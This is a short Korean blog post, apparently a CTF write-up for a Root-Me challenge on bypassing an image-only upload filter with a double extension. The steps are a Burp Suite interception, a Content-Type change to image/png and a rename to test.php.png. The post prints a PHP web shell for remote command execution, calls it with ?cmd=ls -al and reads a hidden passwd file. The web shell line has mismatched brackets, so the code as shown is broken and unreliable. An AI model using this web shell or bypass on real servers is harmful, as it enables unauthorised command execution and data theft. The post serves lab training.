-
File upload - Double extensionsHacking/CTF 문제 풀이 2025. 7. 9. 10:09728x90반응형
Working through problems
확장자 기반 필터링을 우회하여 악성 스크립트를 서버에 업로드하고 실행하는 문제입니다.
파일 업로드 폼은 아래와 같이 구성되어 있습니다.
<form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="upload"> </form>
- 문제에서는 PNG, GIF, JPEG 확장자만 허용됩니다.
- .php 등의 스크립트 파일은 기본적으로 업로드가 불가능합니다.
원격 명령 실행이 가능한 PHP 웹쉘 test.php를 준비합니다.
- 이 파일을 정상적으로 서버에 업로드하는 것이 목표입니다.
<?php system($_GET['cmd')); ?>
test.php 파일을 직접 업로드하면 "Wrong file type !" 메시지가 출력되며 차단되는걸로 봐서 확장자 검사 또는 MIME 타입 검사 등이 서버에서 동작한다는걸 알 수 있습니다.
업로드 요청을 브라우저에서 보내는 대신 Burp Suite Proxy로 가로채서 조작하여 업로드 해도 "Wrong file type !" 메시지가 출력됩니다.
- Content-Type 헤더 값을 원래 text/php에서 image/png로 변경합니다.
이중 확장자 우회를 위해 Burp Suite Proxy로 가로채서 조작합니다.
- 파일 이름을 원래 test.php에서 test.php.png로 변경합니다.
서버는 파일을 이미지로 인식하여 업로드를 허용합니다.
업로드된 파일 경로에 접근하여 명령어 실행 여부를 확인합니다.
<http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/>/test.php.png?cmd=ls -al
- 정상적으로 시스템 명령이 실행되며 명령어를 통해 숨겨진 passwd 파일을 읽으면 정답을 찾을 수 있습니다.
728x90반응형'Hacking > CTF 문제 풀이' 카테고리의 다른 글
PHP - Serialization (0) 2025.07.11 CRLF (0) 2025.07.10 File upload - MIME type (0) 2025.07.08 Nginx - Root Location Misconfiguration (0) 2025.07.07 Nginx - Alias Misconfiguration (0) 2025.07.07